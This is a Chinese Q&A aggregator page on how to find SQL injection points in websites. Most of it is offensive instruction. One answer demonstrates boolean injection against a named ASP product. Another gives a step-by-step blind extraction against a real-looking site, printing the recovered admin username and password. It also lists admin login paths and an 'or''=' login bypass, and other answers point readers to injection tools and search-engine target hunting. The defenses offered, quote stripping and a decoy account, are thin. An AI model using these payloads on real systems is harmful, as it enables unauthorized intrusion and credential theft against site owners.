当前位置:首页 » 网站资讯 » 怎么找网站注入点
扩展阅读
网络共享什么密码 2025-02-04 22:03:19
真我GT无线网络连接不上 2025-02-04 21:58:53

怎么找网站注入点

发布时间: 2023-08-14 17:40:39

⑴ 注入漏洞的检测方法

目前比较准确的检测注入漏洞的方法是进行网站漏洞扫描,推荐EeSafe网站安全联盟。
查找与修补
一、注入点的查找
当我们想要测试某个站点时,一般会架上注入工具对其狂轰乱炸,这样做虽然有时能找到注入点,但还是有些盲目,我个人的看法是:如果有源码的话,就从源码入手,在源码中查找注入点。对于源码,有些朋友可能觉得很难,其实源码并不神秘,它也是有一定的语法规则的,看一套优秀的源码就像是在欣赏一部精美的电影,只要我们坚持每天看一些优秀源码,再加上网络这个老师的指点,用不了多久,源码的神秘面纱就会被你揭去。闲话少说,下面我们就开始查找注入点,目标有两个:一是Request,二是SQL语句。
说到Request,这个是ASP程序中的一个内建对象,怎么?不懂?那就跟我先来恶补一下吧!它是用来获取客户端信息的,有五种方法,而会出现注入点的一般有以下三种:
1、Request.QueryString:取得客户端提交的信息。当Form以Get方法提交信息,或是直接在URL中提交变量值时,在服务器端接收数据时采用的就是这种方法。
2、Request.Form:同样也是取得客户端提交的信息,但它接收的是Form以Post方法提交的信息。
3、Request.Cookies:取得客户端浏览器的Cookies信息。Cookies就是小甜饼,指的是一些私人信息,如用户名、密码之类的信息。
有些程序员为了减少错误,对于前两种信息的获取,会采用Request来取得客户端提交的信息,这种方法,虽然可以通吃Request.QueryString和Request.Form的提交信息,但如果过滤的不好,就会被漏洞反咬一口。
了解过一些Request的知识后,下面就在“查找”中输入“request”进行搜索,OK!当找到上面所列的三项Request语句后,再来看一下程序对这些Request语句是否做了过滤,比如ID值是否用INT过滤,例:id=int(request(id));字符串值是否用replace ()或instr()等函数进行过滤单引号或一些特殊字符,例:username=replace(request(username),, );或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起,一直到SQL语句中使用这个提交值至,如果中间没有上面的层层关卡,那么,一个注入点,基本上就算是出现了。
说到SQL语句,不能不提到以下几个常用的语句:
1、查询语句:Select [(<字段名1> [,<字段名2>, ...])] FROM <表名JMDCW> [Where <条件表达式> [AND|OR <条件表达式>...]
2、更新语句:Update <表名JMDCW> SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] Where <条件表达式> [AND|OR <条件表达式>...]
3、删除语句:Delete FROM〈表名JMDCW〉[Where <条件表达式> [AND|OR <条件表达式>...]]
这里不对SQL语句做介绍了。在上面列出的SQL语句中,注入点出现频率最高的是Select语句,而注入参数的出没地通常都是在Where之后的条件中。当一个没有过滤的Request语句进入SQL语句后,就是注入大显身手的时候了,不过,在进行注入之前还要先看一下该参数是直接引入,还是用单引号引入的,另外,该参数是否还应用于其他SQL语句中,然后,根据不同的信息,选择不同的处理方式,或直接暴破,或UNION查询,当然,如果存在注入点的程序使用的是SQL数据库,那就不单单是得到一些重要信息,甚至还可以增加管理员。
下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:
引用
<%
if request(userid1)<> then
set rst=server.createobject(adodb.recordset)
sql=select money,online from users where userid=&request(userid1)& and password=&md5(request(pws))&
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write<script>alert(用户名或密码错误!);history.back();</Script>
else
response.write<script>alert(恢复成功你现在可以登陆!);</Script>
response.write<script Language=Javascript>location.href = index.asp;</script>
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
在其流程中,首先判断取得的提交值userid1是否为空,不为空的话就进入SQL语句中,验证取得的用户名及密码是否和数据库内的用户名及密码一致,如果不一致,则弹出“用户名及密码错误”窗口,否则,就弹出“恢复成功”的窗口。这也是一段典型的注入漏洞源码,并且,接收的方式还是使用的 request,这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符:http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb,因为没有aa这个用户,那么就会弹出错误窗口,而如果我们将aa换成如下字符:aa or1=1 or 1=1,pws保持不变,这样提交的语句到了SQL语句中就成了如下语句:
select money,online from users where userid1=aa or 1=1 or 1=1 and password=md5(bb),以往我们所见到的测试代码一般为“or 1=1”,而这里却多用了一个 or ,为什么要多用一个or呢?解释一下,在逻辑运算符中,and的优先级别高于or ,程序运行后会先运算后面的1=1 and password=md5(bb),因为密码是随便输入的,所以and后的password值为假,而and前的1=1虽然为真,但真and 假=假,所以,这个and的运算值为假,再来看or运算,因为前面的用户名也是不存在的,其值当然为假,如此一来,where后的逻辑运算就成了如下表达式:假or真or假,结果值还是为真,这样就会弹出“恢复成功”窗口,如果将其中的or 1=1 改为or 1=2,那逻辑表达式则成了:假or假or假,值当然也为假,弹出的就是“用户名或密码错误”的窗口。这样,根据弹出窗口的不同,我们就可以构造一些特殊字符,然后猜测出需要的数据了,比如查询管理员ID的语句,将or后的1=1更改为: 1=(Select top 1 id from admin),这里暂用admin表示管理员表名,如果存在ID为1的管理员,那么就会弹出“恢复成功”的窗口,否则,就证明管理员的ID不为1,那就要再用其他数字来测试。猜出管理员ID后,再把此段字符更改为猜测管理员名称长度的字符:5<(Select len(adminname) from admin where id=1),如为真,则证明长度大于5,否则长度小于或等于5。猜出长度后,再用asc()函数来猜测管理员的名称:90<(select asc(mid(adminname,1,1)) from admin where id=1),如此循环,就能暴破出管理员的名称及密码了。
上面提到的是Request.QueryString和Request.Form的注入方法,而Request.Cookies的注入方法则是要修改本地的Cookies值来实现的,推荐使用一些专门的Cookies修改工具,不过,用Cookies来注入相对而言,就麻烦了好多,但原理和前面的注入是一样的,这里就不介绍了。
二、注入点的修补
在上面着重讲了如何查找注入点及简单的利用方法,当我们知道了攻后,也就明白了如何守,攻和守之间虽然是对立的,但也是相互的。明白了什么地方存在注入点,再来修补也就容易多了。在前面查找注入点时,我也提到查看程序中是否对提交参数进行了过滤,每个程序对注入的过滤函数都不相同,我们在修补自已站点上的注入点时,可参照其他程序中的过滤函数,也可根据自已的需要,单独过滤一些敏感的字符。这里,还是以上面的那个例子来说一下如何修补注入点。在前面的 SQL语句中有这一句:userid=&request(userid1)&,这其中对提交来的参数是用单引号来引入的,而我们能成功注入也是在提交参数中加入了单引号来闭合其语句,这样,加入一个replace()函数对单引号进行过滤,修改后的语句为:userid= &replace(request(userid1),,)&,这样用户再提交带有单引号的字符时, Replace()就会将单引号过滤为空,如此一来,提交的那些特殊字符也就失去了其意义。
当然,我们还可以在userid1进入SQL语句之前,对其长度进行一下判断,如果超过规定的长度,就弹出错误,中止页面执行并返回到指定的页面。当然还可以借鉴一些优秀源码中的过滤方法。总之,注入漏洞是可以避免的,即使出现了注入点,只要我们分析出其出现的原因,也就能很容易地将其修补了!

⑵ 怎么检测网站存在注入漏洞 防注入有哪些解决办法

许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。

第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试。

可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

第二步:对于注入分析器的防范,通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

  1. 对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

  2. 对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

  3. 把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

我们通过上面的三步完成了对数据库的修改。

另外要明白您做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。只要在管理员登录的页面文件中写入字符限制就行了,就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

希望可以帮到你,谢谢!

⑶ 怎么可以找可以注入的网站

用啊D,另外手工注入方法:
实例:_blank>http://www.XXX.com/jiaren.asp?ID=544

好下面开始了.....

1.判断

用' ;
用 and 1=1 and 1=2

判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
' 返回

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'ID = 544''' 中。

/jiaren.asp,行15

============================================================================

; 返回正常页面

===============================
and 1=1 返回正常页面

================================
and 1=2 返回错误页面

编号:

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。

/jiaren.asp,行28
==============================================================================

上面我们进行了简单的判断,可以知道该页面存在注入.这个时候会有很多朋友要问,这样为什么就存在注入呢.呵呵你只要记住我们就是靠返回页面的不同来判断的.只有它两次返回页面不相同那么就可以知道存在了.

2.猜表
and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关SQL查询的资料看.

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

其中admin是可以换的,其他部分不要换.
我们刚刚返回的是正确页面说明存在admin这张表.如果返回错误说明不存在,那么我们就要换其他的.如: and 0<>(select count(*) from user) 当然啦,只要你想到都可以试试.那天我在课上我给了大家两个提示,没有想到很多人居然就知道这两个了.还问我把admin , user 换成其他的可不可以.同志们,这个admin user 是可以替换的.但是,不是随便换你要想一下平时人家都是用什么名称来做表名.因为你是在猜表,也要有思路的猜不是乱猜.换成123 456 那有用吗.没有用因为没有谁会用这个去做表的名称.
一般的表的名称无非是admin adminuser user pass password 等..

3.猜帐号数目
and 0<(select count(*) from admin)
大家会发现和上面的语句差不多.呵呵其实查询部分就是一样不同的是前面的数字.这个数字就是去看看有几个用户帐号.是要换的哦.不是固定是1..因为我们是猜呀.也就是现在我们也不知道它表里面数据到底有几个帐号所以要猜,如果固定的那么就不叫猜了呵呵..
1< 就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2< 3< ..... 当然啦你也可以用1> 2> 来猜.
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 具体的数学上面判断大小不会要我去教你们了吧.
下面我做给你们看,这里我是从0开始判断 呵呵返回正确页面肯定会返回的因为里面不可能一个管理员帐号都没有的. 返回错误了哦.说明什么他里面就只有一个管理员帐号.我们换成1=看看是不是 OK返回正确页面说明是的.
如果里面有几个帐号这个时候大家就要知道具体猜哪个帐号了.

4.猜解字段名称
and 1=(select count(*) from admin where len(name)>0) 用户字段名称

and 1=(select count(*) from admin where len(password)>0) 密码字段名称

猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)--- 这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.

我们先来猜用户名字段 我用的是 name OK对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.

5.猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)

>0 换成其他的只道猜到=?返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0) 正确
and 1=(select count(*) from admin where len(name)>1) 正确
and 1=(select count(*) from admin where len(name)>2) 正确
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
and 1=(select count(*) from admin where len(name)>4) 正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
呵呵对了吧,=6返回的是正确页面.

下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0) 正确
and 1=(select count(*) from admin where len(password)>6) 正确
and 1=(select count(*) from admin where len(password)>10) 正确
and 1=(select count(*) from admin where len(password)>15) 错误
and 1=(select count(*) from admin where len(password)>14) 错误
and 1=(select count(*) from admin where len(password)>13) 错误
and 1=(select count(*) from admin where len(password)>12) 错误
and 1=(select count(*) from admin where len(password)>11) 正确
OK长度是 12

name 6
password 12

长度出来了,下面就是具体的字符了

6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密码

left(name,1)='a' 注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.

and 1=(select count(*) from admin where left(name,1)='a') 错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.

and 1=(select count(*) from admin where left(password,1)='a') 错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.

name = pclzyq
password = pclzyq000215

7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去积累..积累多了不要忘了做成文本文件传给我哦.^_^

我们这里登陆口是 _blank>http://www.talewin.com/admin.asp 下面就是进行登陆了.

呵呵,后台简单吧写这个程序的人估计也很简单因为他这个登陆口还存在另外一个问题.
用 'or''=' 进行登陆看看 , 看见了吧也可以进去哦.呵呵

说明:

命令:select
中文意思:选择
说明:用于找出合乎条件的记录

加总函数:COUNT
中文意思:数量
说明:用于求指定的数量

子句:FROM
中文意思:数据表
说明:用于指定数据表

子句:where
中文意思:条件
说明:用于设定条件

运算符:AND
中文意思:并且
说明:逻辑且

TOP --取出前面的指定长度数据
select top 10 * from .....

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

⑷ 如何找到网站的注入点

这个问题好庞亩芦大和抽象,找注入点,一般最简单的方法就是在有类似?id=4的后面加上and
1=1返回正常

and
1=2,返回错误页面,那就可以初步断定存在注入点,至于进一步的得到更多的信息和进后台哗腔或者拿webshell就要说一大堆了,没必要复制粘贴在这里,你自己去搜索吧
当迅芦带然,以上是指用手工注入。
不过现在的人都懒了,来做黑客也是,所以都用工具了,你可以用啊d,nbsi,明小子等等专门扫漏洞的工具来扫描。拿到webshell是非常简单的事情,但是提权通常就异常艰巨,现在的网站的权限都设置的比较变态。一句话说不清,要交流的话,可以加我

⑸ 如何查看网站是否存在注入点

有注入工具可以查询的。你也可以上360,里面有网站安全检测。建议你的网站最好为独立IP空间,这样避免共用IP造成旁注

⑹ 怎么找一个网站的注入点

site: google检测你所有的版面,然后再用啊d对每个版面检测,一般都可以检测出来注入点了